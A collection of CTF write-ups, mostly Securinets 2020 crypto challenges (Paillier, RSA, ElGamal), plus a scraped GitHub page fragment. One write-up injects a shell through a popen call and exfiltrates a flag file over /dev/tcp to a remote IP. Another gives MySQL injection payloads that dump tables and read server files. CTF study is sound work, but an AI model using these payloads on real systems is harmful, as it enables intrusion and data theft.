data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>Securinets-CTF-Quals-2020</span></span></span><span>/</span>unc<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>Securinets-CTF-Quals-2020</span></span></span><span>/</span>unc<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/dosxuz/Securinets-CTF-Quals-2020/tree-commit/b40a1818e2fcdb9673e944fc1d7e97ea1ab51db3/unc" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/dosxuz/Securinets-CTF-Quals-2020/file-list/master/unc"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>asd.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>main</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>p1.pdf</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# Challenge : The Secured channel ![](https://i.imgur.com/56arl2y.png) Connecting to the server : ![](https://i.imgur.com/6hOiTde.png) We weren't given the modulus N but g,and r were given and very big secret ! taking a look at information.py given : ![](https://i.imgur.com/tqrzoNY.png) check this part : `again_what = len(bin(p)[2:])` `this_is_great=pow(2,again_what)` `well=this_is_great-1` `having_fun=well^p` Trying with many values of p we notice that p+having_fun=2**k-1 with k is number bits of p ! Very interesting ! so the function returns p and having_fun+31337(which is q) so p+q=p+having_fun+31337=pow(2,k)-1+31337=2**k+31336 and p*q=n for solving p we get the quadtratic equation : p**2-Sp+n=0 with S=p+q and n=p*q ! But we are missing n ! Taking a look at the Help option ! ![](https://i.imgur.com/LdgF5e3.png) It says not like the encryption as option1 but helps us to get missing part , meaning N ! How is that ? well : ![](https://i.imgur.com/nbjCcJO.png) Basing on that we get the n (script getN.py) ![](https://i.imgur.com/7QqAQYh.png) So back to our equation : **pow(p,2)-Sp+n=0** Solving it : (solvp.py) `from sympy.solvers import solve` `from sympy import Symbol` `from sympy import *` `p=Symbol('p')` `S=2**1024+31336` `n=(value found using getN)` `print (solve(p**2-S*p+n,p))` And we got p and q !! ![](https://i.imgur.com/i3rai4B.png) Back to the server , we were given N , g , r and the cipher was lot bigger than the n .. Well After all it was : [Paillier Cryptosystem](https://en.wikipedia.org/wiki/Paillier_cryptosystem) Compute the plaintext message as: ![](https://i.imgur.com/UaVSJgL.png) with L is : ![](https://i.imgur.com/aUflpMy.png) Lamda is : lcm(p-1,q-1) and mu=invert(((pow(int(g),int(lamda),int(n**2))-1)//n),n) Decrypting the cipher (getMessage.py) and we get : **Well after all its not that secure , well done , here you go ! have your gift : Securinets{Pa1lli3r??_I_Th1nk_y0u_r0ck!!}** **Flag : Securinets{Pa1lli3r??_I_Th1nk_y0u_r0ck!!}**
# Challenge : Destruction ![](https://i.imgur.com/q5Oe1bU.png ) connecting the the server and we receive : ![](https://i.imgur.com/497Dp2i.png) we were asked to give username and password for the access how we get that ? Well ,we were given MSB and LSB of something related to modulus , well its for one of the primes ! That way we can use to factor n ! So we Have modulus n size and knownbits ! So we need to define an polynomial == 0 (mod p) that gives us the missing part (x) (solver.sage) After getting the value of p ! all the rest is easy back to simple RSA ! calculating the message m=pow(c,d,n) We get "Username : LUCIFER password : MORNINGSTAR" Sending these infos to server and we receive : ![](https://i.imgur.com/2cUOcQt.png) Securinets{Ev3_h4s_d0ne_1T_a5k_Amenadiel}
We're presented with a binary that on the surface takes our input, uses popen to compute the md5 hash, and checks to see if the hash equals `3b9aafa12aceeccd29a154766194a964`. Obviously, we don't want to actually try to find a hash collision, but we do know that it reads in our string and uses sprintf to put it into the command. We are able to include single quotes in the string we pass to escape the command. If we provide the string `'&&/bin/sh'` the command becomes `echo -n ''&&/bin/sh'' | md5sum`. We can test this locally and on the remote server and we appear to be able to run commands but can't see the output. We can try to pipe the contents of the file to netcat but that doesn't seem to work. By switching to `/bin/bash` we can use `/dev/tcp` to exfil that flag. We can easily complete the exploit by hand but here's a script that does it anyway. ```from pwn import *import time def main(): p = process('./main') # p = remote('54.225.38.91', 1025) p.sendline("'&&/bin/bash'") remote_ip = "127.0.0.1" remote_port = "55555" # need to slow down a bit time.sleep(2) p.sendline("cat flag>/dev/tcp/{}/{}".format(remote_ip, remote_port)) time.sleep(2) return 0 if __name__ == "__main__": exit(main())```
When connecting to the service we are greeted with ```Due to corona virus even our service is attacked that even the public key is kept hidden !!in order to get the cure ! we need to provide the private key firstthe ciphers given : (4828923438101798131358711325036338387624266011380116499823047167836752389251677008594058210083062687104436291796809910157158078255370092036467798396832711603,6488671001622414982950327372560783133951156413417577211599077106429966795436098504393940893985690150541527159987366145431768339494445062105797825158609787817)1 - Encrypt2 - Decrypt3 - Get the cure``` The "Encrypt" option asks for a message (an integer) and "Your random", "Decrypt" asks for C1 and C2, while "Get the cure" says "Give me the private". Of course, passing the ciphertext provided at the start to the "decrypt" option is not accepted. Looking up a list of asymmetric encryption schemes, we quickly find ElGamal encryption. To quote Wikipedia, > ElGamal encryption system is an asymmetric key encryption algorithm for public-key cryptography which is **based on the Diffie–Hellman key exchange.** Thus, like the Diffie-Hellman key exchange, ElGamal is defined over a group $G$. The group should be cyclic (that is, isomorphic to $\mathbb Z/q\mathbb Z$ where $q = |G|$, the order of $G$), and the discrete logarithm problem should be hard. We also define a generator $g \in G$ --- an element of the group such that powers of $g$ *generate* the entire group:$$\forall a \in G. \exists w \in \mathbb Z. g^w = a$$ Generating a key consists of choosing the group and generator, and then essentially performing the first step of a Diffie-Hellman key exchange: we choose the private exponent $x$ and compute $$h = g^x.$$ $G$, $g$ and $h$ are published, and $x$ is kept secret. Encrypting a message also looks just how you'd expect it to: a random exponent $y$ is chosen, and a Diffie-Hellman share is calculated: $$c_1 = g^y.$$ We also use the public key part $h$ to calculate a shared secret $$s = h^y.$$ The message is then encrypted with this shared secret in the most straightforward way: $$c_2 = m \cdot s.$$ ### The group One question remains: what group do we choose? The simplest cyclic group is a section of the integers with addition mod $n$ as the operation, but the discrete logarithm in that group amounts to a modular inverse, making it unsuitable for cryptographic use. The next simplest is the multiplicative group of integers: we take a modulus $n$, and the group is the set of invertible elements mod $n$, together with multiplication mod $n$ as the group operation. This is one of the groups we commonly see in cryptography, the other ones being elliptic curves over finite fields. It is reasonable to assume we're dealing with $(\mathbb Z/n\mathbb Z)^\times$ and not an elliptic curve; this assumption turns out to be true. ### Recovering the public key We have the ability to encrypt any value we choose, and to provide the "random" value $y$ that is to be used by the process. If we pick $m = y = 1$, we get $c_1 = g$ and $c_2 = h$ in response. The modulus $n$ remains a mystery, though. If we encrypt $m = 2$ with $y$ still equal 1, we get $2h$ as a response. We can calculate `2 * h` locally, without reducing modulo the unknown $n$, and we'll see that the result is equal to the value returned by the server. This encryption doesn't give us any new information, then. We can keep going though, and while the conclusion is the same for $m = 3$, $m = 4$ gives a different result. This means that $4h \geq n$. However,$$4h \equiv c_2 \pmod n.$$ By definition, this means that $4h - c_2$ is a multiple of $n$. If we think about it, though, we added $3h + h$, where both values were below $n$, thus it's not only a *multiple* of $n$, but exactly $n$:$$n = 4h - c_2.$$ *Side note:* at this moment, we can see that $n$ is a prime. This is a common choice when the order of the group is to be public, because then all values (except the congruence class of 0, of course), are invertible. ### Abusing homomorphic encryption Thinking back to the encrypted message we get at the start, and how the "decrypt" option refuses to touch it, we might notice that the server accepts our request if we only change $c_2$. From here, we can go two different ways: 1. Note that the formula $c_2 = m \cdot s$ implies that multiplying the ciphertext $c_2$ by some constant will also multiply the plaintext $m$ by the same constant. This is the strategy I used during the CTF, where I sent $(c_1, 2c_2)$ to the server, and then multiplied the response by the modular inverse of 2.2. Send $(c_1, 1)$ to the server, get the inverse of $s$ as a response. Multiply it by $c_2$ yourself. In both cases, when we turn the plaintext message into hexadecimal and decode the resulting bytes as ASCII, we get the flag: ```Unstoppable ! Well done !! -> Securinets{B4444d_3lG4m4l_system}``` ### The code For reference, here's the code I used to solve this challenge: ```from pwn import *from sympy import mod_inverse, isprimefrom binascii import unhexlifys = remote('3.88.65.254', 1338) C1 = 4828923438101798131358711325036338387624266011380116499823047167836752389251677008594058210083062687104436291796809910157158078255370092036467798396832711603C2 = 6488671001622414982950327372560783133951156413417577211599077106429966795436098504393940893985690150541527159987366145431768339494445062105797825158609787817 def encrypt(m, y): s.sendlineafter(b'Your choice :', b'1') s.sendlineafter(b'Your Message in mentioned format', str(m).encode()) s.sendlineafter(b'Your random', str(y).encode()) s.recvuntil(b'\n(') c1 = int(s.recvuntil(b',').rstrip(b',').decode()) c2 = int(s.recvuntil(b')').rstrip(b')').decode()) return c1, c2 def decrypt(c1, c2): s.sendlineafter(b'Your choice :', b'2') s.sendlineafter(b'C1 :', str(c1).encode()) s.sendlineafter(b'C2 :', str(c2).encode()) s.recvuntil(b'Get your message : ') return int(s.recvline().strip().decode()) g, h = encrypt(1, 1)#g_, h3 = encrypt(3, 1)_, h4 = encrypt(4, 1) #assert g == g_#assert h3 == 3 * hassert h4 != 4 * h N = h * 4 - h4assert isprime(N)log.info('Got N') C2x = 2 * C2 % Nmx = decrypt(C1, C2x)m = mx * mod_inverse(2, N) % Nprint(hex(m))print(unhexlify(hex(m)[2:]))```
# Miscrypto Alphabet * points: 446* description: Help us to recover the alphabet. ## solution1. Info we get We are given a picture, where 26 words begin with 26 alphabet and a number put beside each word. I understand each alphabet equal to a number which I call it n. By looking at top of the picture, we can guess that the flag is chr(n) from a-z 2. use z3 to solve it Setting some restritions to z3, we can finally have the [script](sol.py). Note that the hyphen '-' counts, too. After running the script, we get the flag `F#{y0u-ar4-gr34t-w1th-z3!}`.
# Challenge : C is G ?Ez Camel ![](https://i.imgur.com/BgrFw1p.png) connecting the the server and we receive : ![](https://i.imgur.com/oKUOtpu.png) Refering to the title and server message its [ElGamal Encryption](https://en.wikipedia.org/wiki/ElGamal_encryption) . Taking a look for encryption option : ![](https://i.imgur.com/ulw99gP.png) so we can give a message and a random number , that's interesting ! i will tell you why in a moment , lets see first get the cure option : ![](https://i.imgur.com/JiitmHb.png) So we need the private key to get the cure , but how ? we don't have public keys , no g no y no p nothing ... Back to the interesting thing , the encryption options allows us to give a message and a random since : **c1=pow(g,r,p) and c2=M*pow(y,r)[p]** we send r=1 and M=1 , it gives us : **c1=g and c2=y**we send r=1 and M=-1 , it gives us : **c1=g and c2=py** now we have everything y,g and p , calculating the secret key x ! all we know is that y=pow(g,x,p) !Discret log is solution !! we can use Pohlig_Hellman Sending now the secret key to the server ![](https://i.imgur.com/XbO8vhN.png) flag is : Securinets{B4444d_3lG4m4l_system}
# **The after-Prequal (971pts) (19 Solves)** ![TASK](https://imgur.com/pXLjH4n.png) This task was so fun and i learned new things from it , we are given a website with a search functionality and after testing a single quote injection we had an SQL error , so let's start the exploitation of the famous SQL injection :D ![TASK](https://imgur.com/B2IbSxr.png) After the basic enumeration we can notice that these characters are filtered : **[" ","-",","]** so we will use the following bypasses: 1. The white space : **%0A**2. The "-" : we will use **#** to comment 3. The "," : we will use join to bypass it This step took me some time , after some tries i succeeded in equilibrating the query : > ?search=')union%0Aselect%0A*%0Afrom%0A((select%0A1)a%0Ajoin%0A(select%0A2)b%0Ajoin%0A(select%0A3)c)%0A%23 ![TASK]( https://imgur.com/5VSI80e.png) And BINGO ! we succeeded to inject , all we have to do know is to dump the database as usual 1. Tables: > ?search=')union%0Aselect%0A*%0Afrom%0A((select%0A1)a%0Ajoin%0A(select%0Atable_name%0AfRoM%0Ainformation_schema.tables)b%0Ajoin%0A(select%0A3)c)%0A%23 **Table name**: secrets ![TASK](https://imgur.com/m190lNI.png) 2. Columns: > ?search=')union%0Aselect%0A*%0Afrom%0A((select%0A1)a%0Ajoin%0A(select%0Acolumn_name%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_name="secrets")b%0Ajoin%0A(select%0A3)c)%0A%23 The interesting **Column name** : value ![TASK](https://imgur.com/TegJtmS.png) And finally : > ?search=')union%0Aselect%0A*%0Afrom%0A((select%0A1)a%0Ajoin%0A(select%0Avalue%0Afrom%0Asecrets)b%0Ajoin%0A(select%0A3)c)%0A%23 ![TASK](https://imgur.com/8ycD4ru.png) Damn no flag for us :'( but no problem maybe if we just do load_file("flag.txt") we will have the flag ? unfortunately it wont work, in fact it's not that easy and this is the most juicy part of the task xdi checked the privileges of the current user and the FILE permission was not grantable ! wtf , this result was unpredictable for me so i started digging in mysql file permissions docs until i found this :D ![TASK](https://imgur.com/TgUXftd.png) > To limit the location in which files can be read and written, set the **secure_file_priv** system variable to a specific directory. See Section 5.1.8, “Server System Variables”. So probably the author have set a custom location in the global variable **secure_file_priv** , let's check its value in @@GLOBAL.secure_file_priv >?search=')union%0Aselect%0A*%0Afrom%0A((select%0A1)a%0Ajoin%0A(select%0A@@GLOBAL.secure_file_priv)b%0Ajoin%0A(select%0A3)c)%0A%23 ![TASK](https://imgur.com/Pdn180B.png) BINGOOO ! so let's have our flag now : > ?search=')union%0Aselect%0A*%0Afrom%0A((select%0A1)a%0Ajoin%0A(select%0Aload_file("/var/lib/mysql-files/flag/flag.txt"))b%0Ajoin%0A(select%0A3)c)%0A%23 **FLAG** : Securinets{SecuR3_YourSQL!} , I have enjoyed this task and learned a lot about mysql privileges from it , thank you @bibiwars or should i call you @nox xD If you enjoyed the writeup share it with your friends and don't hesitate to ask me on twitter @BelkahlaAhmed1 :D
# Magic 1 (crypto, 205p, 44 solved) In the challenge we get [source code](https://raw.githubusercontent.com/TFNS/writeups/master/2020-03-01-AeroCTF/magic/task.py) and [data](https://raw.githubusercontent.com/TFNS/writeups/master/2020-03-01-AeroCTF/magic/output.txt). The code is a quite simple stream cipher.The interesting part is: ```python def create(cls, source: np.ndarray) -> 'Cipher': assert len(set(source.shape)) == 1 line = source.reshape(-1) assert len(line) == len(set(line) & set(range(len(line)))) keys = set(map(sum, chain.from_iterable((*s, np.diag(s)) for s in [source, source.T]))) assert len(keys) == 1 key = int(keys.pop()) return cls(key, key % len(line))``` This basically creates the `key` value which turned into bytes provides the keystream.It might seem a bit complex, but in reality this function simply checks if provided `source` numpy array is a `magic square`. `line = source.reshape(-1)` flattens the matrix into a single list and `assert len(line) == len(set(line) & set(range(len(line))))` checks if this list contains all numbers `0..n`.Then `set(map(sum, chain.from_iterable((*s, np.diag(s)) for s in [source, source.T])))` makes a set of sums along all vertical, horizontal and diagonals of the matrix, and then it's checked if set contains only a single element. The `key` value from which the keystream is derived is the magic number of the square, so the sum. What we know in the task is encrypted flag and also `c = key % len(line) = key % n**2`. The magic sum of such magic square (which starts from 0 and not clasically from 1) is: ```M = (n * (n**2 + 1)) / 2 - n = (n/2)*(n**2+1-2) = (n/2)*(n**2-1)``` Since we know `c = M%n**2` we can do: ```pythonc == M mod n**2 c == (n/2)*(n**2-1) mod n**22*c == n*(-1) mod n**2 # x-1 mod x == -1 mod x 2*c == (-n) mod n**22*c == (n**2-n) # -k mod x == x-k mod xn**2 -n -2c mod n**2 == 0``` Now we can solve this quadratic equation `n**2 -n -2c = 0` for `n`: ```pythona = 1b = -1c = -2 * canarydelta = b ** 2 - 4 * a * cx1 = -b - gmpy2.isqrt(delta) / 2 * ax2 = -b + gmpy2.isqrt(delta) / 2 * ax = x1 if x1 > 0 else x2``` With this we can recover the magic sum of the square `key = x * (x ** 2 - 1) / 2`.Finally we can decrypt the flag `print(long_to_bytes(ct ^ key))` and we get `Aero{m4g1c_squ4r3_1s_just_4n_4nc13nt_puzzl3}`
